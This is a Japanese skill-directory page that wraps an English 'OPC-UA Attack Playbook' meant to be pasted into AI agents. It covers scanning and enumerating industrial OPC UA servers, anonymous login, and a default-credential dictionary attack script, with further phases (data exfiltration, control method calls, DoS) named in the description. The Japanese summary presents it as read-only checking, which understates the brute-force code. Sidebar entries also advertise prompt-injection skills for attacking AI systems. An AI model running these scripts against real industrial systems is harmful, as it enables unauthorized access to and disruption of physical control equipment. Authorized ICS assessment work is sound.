opcua
できること
このガイドは、セキュリティ付きでも無しでも動かせる新しい産業用プロトコルOPC UAのセキュリティチェックを扱います。書面の承認を得て作業する工場とITのセキュリティチーム向けです。
使う場面
- ✓認可されたレビューで、OPC UAのサーバーが匿名アクセスを許すかを確認する必要があるとき。
- ✓産業用サーバーがどのセキュリティポリシーを使っているかを知りたいとき。
- ✓制御メソッドを呼ばずに、状態データを閲覧する必要があるとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“当社のOPC UAサーバーで、匿名アクセスや弱いセキュリティポリシーがないかを、読み取り専用の閲覧で確認してもらえますか。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは各サーバーにエンドポイントとセキュリティポリシーを尋ね、匿名セッションが許されているかを確認し、制御メソッドを呼ばずに状態の値を閲覧します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
OPC-UA Attack Playbook (TCP 4840)
OPC-UA is the dominant modern IT/OT convergence protocol — Siemens, ABB, Rockwell, Honeywell, and most new DCS/SCADA deployments expose it alongside or instead of legacy fieldbus. It supports security (signing + encryption) but many deployments leave SecurityPolicy: None active for "backwards compatibility," giving full unauthenticated access to the address space.
SAFETY FIRST
OPC-UA Method calls can directly invoke control actions (start/stop, setpoint override, firmware update). Confirm written scope authorization before any call to Method nodes or write to Variable nodes. Read-only browsing (BrowseRequest, ReadRequest on status/telemetry nodes) is generally safe.
Prerequisites
# Install asyncua (successor to python-opcua / opcua-asyncio)
pip install asyncua
# Also useful: opcua-client GUI (optional), opcua-scan
pip install opcua-scan
# OR clone Wavestone opcua-scan:
# git clone https://github.com/wavestone-cdt/opcua-scan
# Confirm target reachability
nmap -p 4840 --open -sV 10.0.0.0/24
Phase 1 — Discover
# nmap service banner on 4840
nmap -p 4840 -sV --script=opcua-discovery 10.0.0.5
# OPC UA Hello probe — get the server's application description
# opcua-scan sends a HEL/ACK and reads GetEndpoints without connecting to a session
python3 -m opcuascan 10.0.0.5:4840
# Output includes: ProductName, ApplicationUri, SecurityPolicies, supported UserIdentityTokens
Phase 2 — GetEndpoints (unauthenticated policy enumeration)
GetEndpoints is always available without a session — it's the pre-auth discovery call.
import asyncio
from asyncua import Client
async def get_endpoints():
url = "opc.tcp://10.0.0.5:4840"
# Use None security policy — client sends HEL, gets ACK, calls GetEndpoints
async with Client(url=url) as client:
endpoints = await client.get_endpoints()
for ep in endpoints:
print(f"URL: {ep.EndpointUrl}")
print(f" SecurityMode: {ep.SecurityMode}") # 1=None, 2=Sign, 3=SignAndEncrypt
print(f" SecurityPolicy: {ep.SecurityPolicyUri}")
for tok in ep.UserIdentityTokens:
print(f" Token: {tok.TokenType}") # 0=Anonymous, 1=UserName, 2=Certificate, 3=IssuedToken
asyncio.run(get_endpoints())
Key findings to record:
SecurityMode: 1(None) +SecurityPolicy: http://opcfoundation.org/UA/SecurityPolicy#None→ plaintext, no signing. Traffic is readable in Wireshark.TokenType: 0(Anonymous) accepted → no credentials needed.TokenType: 1(UserName) present → attempt default/dictionary creds.
Phase 3 — Auth testing
Anonymous connect
import asyncio
from asyncua import Client
async def anon_connect():
url = "opc.tcp://10.0.0.5:4840/OPCUA/SimulationServer"
async with Client(url=url) as client:
# No credentials set — asyncua defaults to Anonymous token
root = client.get_root_node()
print("Root node:", await root.read_browse_name())
# Successful connection here = Anonymous accepted
server_node = client.get_server_node()
status = await server_node.get_child(["0:ServerStatus"])
print("Server status:", await status.read_value())
asyncio.run(anon_connect())
Username/password dictionary attack
import asyncio
from asyncua import Client
from asyncua.ua import uaerrors
DEFAULT_CREDS = [
("admin", "admin"), ("administrator", "administrator"),
("opcua", "opcua"), ("user", "user"), ("guest", ""),
("operator", "operator"), ("root", "root"), ("OpcUaClient", ""),
("Anonymous", ""), ("siemens", "siemens"), ("admin", ""),
]
async def brute_opcua(url):
for user, pwd in DEFAULT_CREDS:
try:
async with Client(url=url) as client:
await client.set_user(user)
await client.set_password(pwd)
await client.connect()
print(f"[+] VALID: {user}:{pwd}")
return user, pwd
except uaerrors.BadUserAccessDenied:
print(f"[-] {user}:{pwd} — denied")
except uaerrors.BadIdentityTokenRejected:
print(f"[-] {user}:{pwd} — rejected")
except Exception as e:
print(f"[!] {user}:{pwd} — {e}")
return None, None
asyncio.run(brute_opcua("opc.tcp://10.0.0.5:4840"))
Phase 4 — Address-space browsing and tag read
Once authenticated (anonymous or credentialed):
import
よくある質問
セキュリティポリシーのNoneとは何ですか?
署名や暗号化なしで動作できることを意味し、ガイドは一部の導入がそれを有効にしたままだと述べています。
なぜメソッドの呼び出しを避けるのですか?
メソッドの呼び出しは機器を起動または停止させうるため、明示的な書面の承認が必要です。
OPC UAはどこで使われますか?
新しい産業制御や、ITとOTの統合プロジェクトで一般的だとガイドは述べています。
詳細
作者による元の説明
OPC-UA (TCP 4840) attack playbook — endpoint enumeration, SecurityPolicy mapping, anonymous/weak-auth abuse, address-space browsing and tag read, HistoryRead exfiltration, Method call for control actions, session-exhaustion DoS. Modern IT/OT DMZ convergence protocol replacing legacy fieldbus.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14039
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。